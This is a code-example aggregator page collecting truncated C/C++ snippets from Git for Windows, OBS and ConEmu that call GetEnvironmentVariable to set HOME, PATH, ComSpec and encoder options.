static void setup_environment(LPWSTR exepath, int full_path){	WCHAR msystem[64];	LPWSTR path2 = NULL;	int len;	/* Set MSYSTEM */	swprintf(msystem, sizeof(msystem),		L"MINGW%d", (int) sizeof(void *) * 8);	SetEnvironmentVariable(L"MSYSTEM", msystem);	/* if not set, set PLINK_PROTOCOL to ssh */	if (!GetEnvironmentVariable(L"PLINK_PROTOCOL", NULL, 0))		SetEnvironmentVariable(L"PLINK_PROTOCOL", L"ssh");	/*	 * set HOME to %HOMEDRIVE%%HOMEPATH% or %USERPROFILE%	 * With roaming profiles: HOMEPATH is the roaming location and	 * USERPROFILE is the local location	 */	if (!GetEnvironmentVariable(L"HOME", NULL, 0)) {		LPWSTR e = NULL;		len = GetEnvironmentVariable(L"HOMEPATH", NULL, 0);		if (len) {			DWORD attr, drvlen = GetEnvironmentVariable(L"HOMEDRIVE", NULL, 0);			e = (LPWSTR)malloc(sizeof(WCHAR) * (drvlen + len));			drvlen = GetEnvironmentVariable(L"HOMEDRIVE", e, drvlen);			GetEnvironmentVariable(L"HOMEPATH", e + drvlen, len);			/* check if the path exists */			attr = GetFileAttributesW(e);			if (attr != INVALID_FILE_ATTRIBUTES					&& (attr & FILE_ATTRIBUTE_DIRECTORY))				SetEnvironmentVariable(L"HOME", e);			else				len = 0; /* use USERPROFILE */			free(e);		}		if (len == 0) {			len = GetEnvironmentVariable(L"USERPROFILE", NULL, 0);			if (len != 0) {				e = (LPWSTR)malloc(len * sizeof(WCHAR));				GetEnvironmentVariable(L"USERPROFILE", e, len);				SetEnvironmentVariable(L"HOME", e);				free(e);			}		}	}	/* extend the PATH */	len = GetEnvironmentVariable(L"PATH", NULL, 0);	len = sizeof(WCHAR) * (len + 2 * MAX_PATH);	path2 = (LPWSTR)malloc(len);	wcscpy(path2, exepath);	if (!full_path)		PathAppend(path2, L"cmd;");	else {		PathAppend(path2, msystem_bin);		if (_waccess(path2, 0) != -1) {			/* We are in an MSys2-based setup */			wcscat(path2, L";");			wcscat(path2, exepath);			PathAppend(path2, L"usr//bin;");		}		else {			/* Fall back to MSys1 paths */			wcscpy(path2, exepath);			PathAppend(path2, L"bin;");			wcscat(path2, exepath);			PathAppend(path2, L"mingw//bin;");		}	}	GetEnvironmentVariable(L"PATH", path2 + wcslen(path2),				(len / sizeof(WCHAR)) - wcslen(path2));	SetEnvironmentVariable(L"PATH", path2);	free(path2);}
开发者ID:ashumeow,项目名称:git,代码行数:78,


示例24: main

//.........这里部分代码省略.........	}	else if (!wcsicmp(basename, L"gitk.exe")) {		static WCHAR buffer[BUFSIZE];		allocate_console = 1;		if (!PathRemoveFileSpec(exepath)) {			fwprintf(stderr,				L"Invalid executable path: %s/n", exepath);			ExitProcess(1);		}		/* set the default exe module */		wcscpy(exe, exepath);		swprintf(buffer, BUFSIZE, L"/"%s/"", exepath);		PathAppend(exe, msystem_bin);		PathAppend(exe, L"wish.exe");		if (_waccess(exe, 0) != -1)			PathAppend(buffer, msystem_bin);		else {			wcscpy(exe, exepath);			PathAppend(exe, L"mingw//bin//wish.exe");			PathAppend(buffer, L"mingw//bin");		}		PathAppend(buffer, L"gitk");		prefix_args = buffer;		prefix_args_len = wcslen(buffer);	}	if (needs_env_setup)		setup_environment(exepath, full_path);	cmd = fixup_commandline(exepath, &exep, &wait,		prefix_args, prefix_args_len, is_git_command, skip_arguments);	if (working_directory == (LPWSTR)1) {		int len = GetEnvironmentVariable(L"HOME", NULL, 0);		if (len) {			working_directory = malloc(sizeof(WCHAR) * len);			GetEnvironmentVariable(L"HOME", working_directory, len);		}	}	{		STARTUPINFO si;		PROCESS_INFORMATION pi;		DWORD creation_flags = CREATE_UNICODE_ENVIRONMENT;		HANDLE console_handle;		BOOL br = FALSE;		ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));		ZeroMemory(&si, sizeof(STARTUPINFO));		si.cb = sizeof(STARTUPINFO);		if (allocate_console | show_console)			creation_flags |= CREATE_NEW_CONSOLE;		else if ((console_handle = CreateFile(L"CONOUT$", GENERIC_WRITE,				FILE_SHARE_WRITE, NULL, OPEN_EXISTING,				FILE_ATTRIBUTE_NORMAL, NULL)) !=				INVALID_HANDLE_VALUE)			CloseHandle(console_handle);		else {#define STD_HANDLE(field, id) si.hStd##field = GetStdHandle(STD_##id); if (!si.hStd##field) si.hStd##field = INVALID_HANDLE_VALUE			STD_HANDLE(Input, INPUT_HANDLE);			STD_HANDLE(Output, OUTPUT_HANDLE);			STD_HANDLE(Error, ERROR_HANDLE);			si.dwFlags = STARTF_USESTDHANDLES;
开发者ID:ashumeow,项目名称:git,代码行数:65,


示例25: TEXT

void NVENCEncoder::init(){    NV_ENC_OPEN_ENCODE_SESSION_EX_PARAMS stEncodeSessionParams = {0};    NV_ENC_PRESET_CONFIG presetConfig = {0};    GUID clientKey = NV_CLIENT_KEY;    CUcontext cuContextCurr;    NVENCSTATUS nvStatus = NV_ENC_SUCCESS;    int surfaceCount = 0;    GUID encoderPreset = NV_ENC_PRESET_HQ_GUID;    dontTouchConfig = false;    bool is2PassRC = false;    String profileString = AppConfig->GetString(TEXT("Video Encoding"), TEXT("X264Profile"), TEXT("high"));    String presetString = AppConfig->GetString(TEXT("Video Encoding"), TEXT("NVENCPreset"), TEXT("High Quality"));    if (presetString == TEXT("High Performance"))    {        encoderPreset = NV_ENC_PRESET_HP_GUID;    }    else if (presetString == TEXT("High Quality"))    {        encoderPreset = NV_ENC_PRESET_HQ_GUID;    }    else if (presetString == TEXT("Bluray Disk"))    {        encoderPreset = NV_ENC_PRESET_BD_GUID;    }    else if (presetString == TEXT("Low Latency (2pass)"))    {        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_DEFAULT_GUID;        is2PassRC = true;    }    else if (presetString == TEXT("High Performance Low Latency (2pass)"))    {        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HP_GUID;        is2PassRC = true;    }    else if (presetString == TEXT("High Quality Low Latency (2pass)"))    {        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;        is2PassRC = true;    }    else if (presetString == TEXT("Low Latency"))    {        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_DEFAULT_GUID;    }    else if (presetString == TEXT("High Performance Low Latency"))    {        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HP_GUID;    }    else if (presetString == TEXT("High Quality Low Latency"))    {        encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;    }    else if (presetString == TEXT("Lossless"))    {        encoderPreset = NV_ENC_PRESET_LOSSLESS_DEFAULT_GUID;        dontTouchConfig = true;    }    else if (presetString == TEXT("High Performance Lossless"))    {        encoderPreset = NV_ENC_PRESET_LOSSLESS_HP_GUID;        dontTouchConfig = true;    }    else if (presetString == TEXT("NVDefault"))    {        encoderPreset = NV_ENC_PRESET_DEFAULT_GUID;    }    else if (presetString == TEXT("Streaming"))    {        encoderPreset = NV_ENC_PRESET_STREAMING;        clientKey = NV_ENC_KEY_STREAMING;    }    else if (presetString == TEXT("Streaming (2pass)"))    {        encoderPreset = NV_ENC_PRESET_STREAMING;        is2PassRC = true;        clientKey = NV_ENC_KEY_STREAMING;    }    else    {        if (height > 1080 || (height == 1080 && fps > 30))        {            encoderPreset = NV_ENC_PRESET_HQ_GUID;        }        if (height > 720 || (height == 720 && fps > 30))        {            encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;        }        else        {            encoderPreset = NV_ENC_PRESET_LOW_LATENCY_HQ_GUID;            is2PassRC = true;        }    }    TCHAR envClientKey[128] = {0};    DWORD envRes = GetEnvironmentVariable(TEXT("NVENC_KEY"), envClientKey, 128);//.........这里部分代码省略.........
开发者ID:FBirth,项目名称:OBS,代码行数:101,


示例26: GetComspecFromEnvVar

LPCWSTR GetComspecFromEnvVar(wchar_t* pszComspec, DWORD cchMax, ComSpecBits Bits/* = csb_SameOS*/){	if (!pszComspec || (cchMax < MAX_PATH))	{		_ASSERTE(pszComspec && (cchMax >= MAX_PATH));		return NULL;	}	*pszComspec = 0;	BOOL bWin64 = IsWindows64();	if (!((Bits == csb_x32) || (Bits == csb_x64)))	{		if (GetEnvironmentVariable(L"ComSpec", pszComspec, cchMax))		{			// Не должен быть (даже случайно) ConEmuC.exe			const wchar_t* pszName = PointToName(pszComspec);			if (!pszName || !lstrcmpi(pszName, L"ConEmuC.exe") || !lstrcmpi(pszName, L"ConEmuC64.exe")				|| !FileExists(pszComspec)) // ну и существовать должен			{				pszComspec[0] = 0;			}		}	}	// Если не удалось определить через переменную окружения - пробуем обычный "cmd.exe" из System32	if (pszComspec[0] == 0)	{		int n = GetWindowsDirectory(pszComspec, cchMax - 20);		if (n > 0 && (((DWORD)n) < (cchMax - 20)))		{			// Добавить /System32/cmd.exe			// Warning! 'c:/Windows/SysNative/cmd.exe' не прокатит, т.к. доступен			// только для 32битных приложений. А нам нужно в общем виде.			// Если из 32битного нужно запустить 64битный cmd.exe - нужно выключать редиректор.			if (!bWin64 || (Bits != csb_x32))			{				_wcscat_c(pszComspec, cchMax, (pszComspec[n-1] == L'//') ? L"System32//cmd.exe" : L"//System32//cmd.exe");			}			else			{				_wcscat_c(pszComspec, cchMax, (pszComspec[n-1] == L'//') ? L"SysWOW64//cmd.exe" : L"//SysWOW64//cmd.exe");			}		}	}	if (pszComspec[0] && !FileExists(pszComspec))	{		_ASSERTE("Comspec not found! File not exists!");		pszComspec[0] = 0;	}	// Last chance	if (pszComspec[0] == 0)	{		_ASSERTE(pszComspec[0] != 0); // Уже должен был быть определен		//lstrcpyn(pszComspec, L"cmd.exe", cchMax);		wchar_t *psFilePart;		DWORD n = SearchPathW(NULL, L"cmd.exe", NULL, cchMax, pszComspec, &psFilePart);		if (!n || (n >= cchMax))			_wcscpy_c(pszComspec, cchMax, L"cmd.exe");	}	return pszComspec;}
开发者ID:albert2lyu,项目名称:ConEmu,代码行数:67,


示例27: UpdateComspec

void UpdateComspec(ConEmuComspec* pOpt, bool DontModifyPath /*= false*/){	if (!pOpt)	{		_ASSERTE(pOpt!=NULL);		return;	}	if (pOpt->isUpdateEnv && (pOpt->csType != cst_EnvVar))	{		//if (pOpt->csType == cst_AutoTccCmd) -- always, if isUpdateEnv		{			LPCWSTR pszNew = NULL;			switch (pOpt->csBits)			{			case csb_SameOS:				pszNew = IsWindows64() ? pOpt->Comspec64 : pOpt->Comspec32;				break;			case csb_SameApp:				pszNew = WIN3264TEST(pOpt->Comspec32,pOpt->Comspec64);				break;			case csb_x32:				pszNew = pOpt->Comspec32;				break;			default:				_ASSERTE(pOpt->csBits==csb_SameOS || pOpt->csBits==csb_SameApp || pOpt->csBits==csb_x32);				pszNew = NULL;			}			if (pszNew && *pszNew)			{				#ifdef SHOW_COMSPEC_CHANGE				wchar_t szCurrent[MAX_PATH]; GetEnvironmentVariable(L"ComSpec", szCurrent, countof(szCurrent));				if (lstrcmpi(szCurrent, pszNew))				{					wchar_t szMsg[MAX_PATH*4], szProc[MAX_PATH] = {}, szPid[MAX_PATH];					GetModuleFileName(NULL, szProc, countof(szProc));					_wsprintf(szPid, SKIPLEN(countof(szPid))						L"PID=%u, '%s'", GetCurrentProcessId(), PointToName(szProc));					_wsprintf(szMsg, SKIPLEN(countof(szMsg))						L"Changing %%ComSpec%% in %s/nCur=%s/nNew=%s",						szPid , szCurrent, pszNew);					MessageBox(NULL, szMsg, szPid, MB_SYSTEMMODAL);				}				#endif				_ASSERTE(wcschr(pszNew, L'%')==NULL);				SetEnvVarExpanded(L"ComSpec", pszNew);			}		}	}	if (pOpt->AddConEmu2Path && !DontModifyPath)	{		if ((pOpt->ConEmuBaseDir[0] == 0) || (pOpt->ConEmuExeDir[0] == 0))		{			_ASSERTE(pOpt->ConEmuBaseDir[0] != 0);			_ASSERTE(pOpt->ConEmuExeDir[0] != 0);		}		else		{			wchar_t* pszCur = GetEnvVar(L"PATH");			if (!pszCur)				pszCur = lstrdup(L"");			DWORD n = lstrlen(pszCur);			wchar_t* pszUpr = lstrdup(pszCur);			wchar_t* pszDirUpr = (wchar_t*)malloc(MAX_PATH*sizeof(*pszCur));			MCHKHEAP;			if (!pszUpr || !pszDirUpr)			{				_ASSERTE(pszUpr && pszDirUpr);			}			else			{				bool bChanged = false;				wchar_t* pszAdd = NULL;				CharUpperBuff(pszUpr, n);				for (int i = 0; i <= 1; i++)				{					// Put '%ConEmuExeDir' on first place					switch (i)					{					case 1:						if (!(pOpt->AddConEmu2Path & CEAP_AddConEmuExeDir))							continue;						pszAdd = pOpt->ConEmuExeDir;						break;					case 0:						if (!(pOpt->AddConEmu2Path & CEAP_AddConEmuBaseDir))							continue;						if (lstrcmp(pOpt->ConEmuExeDir, pOpt->ConEmuBaseDir) == 0)							continue; // второй раз ту же директорию не добавляем						pszAdd = pOpt->ConEmuBaseDir;						break;					}//.........这里部分代码省略.........
开发者ID:albert2lyu,项目名称:ConEmu,代码行数:101,



注:本文中的GetEnvironmentVariable函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。


C++ GetEnvironmentVariableW函数代码示例
C++ GetEntry函数代码示例
万事OK自学网:51自学网_软件自学网_CAD自学网自学excel、自学PS、自学CAD、自学C语言、自学css3实例,是一个通过网络自主学习工作技能的自学平台,网友喜欢的软件自学网站。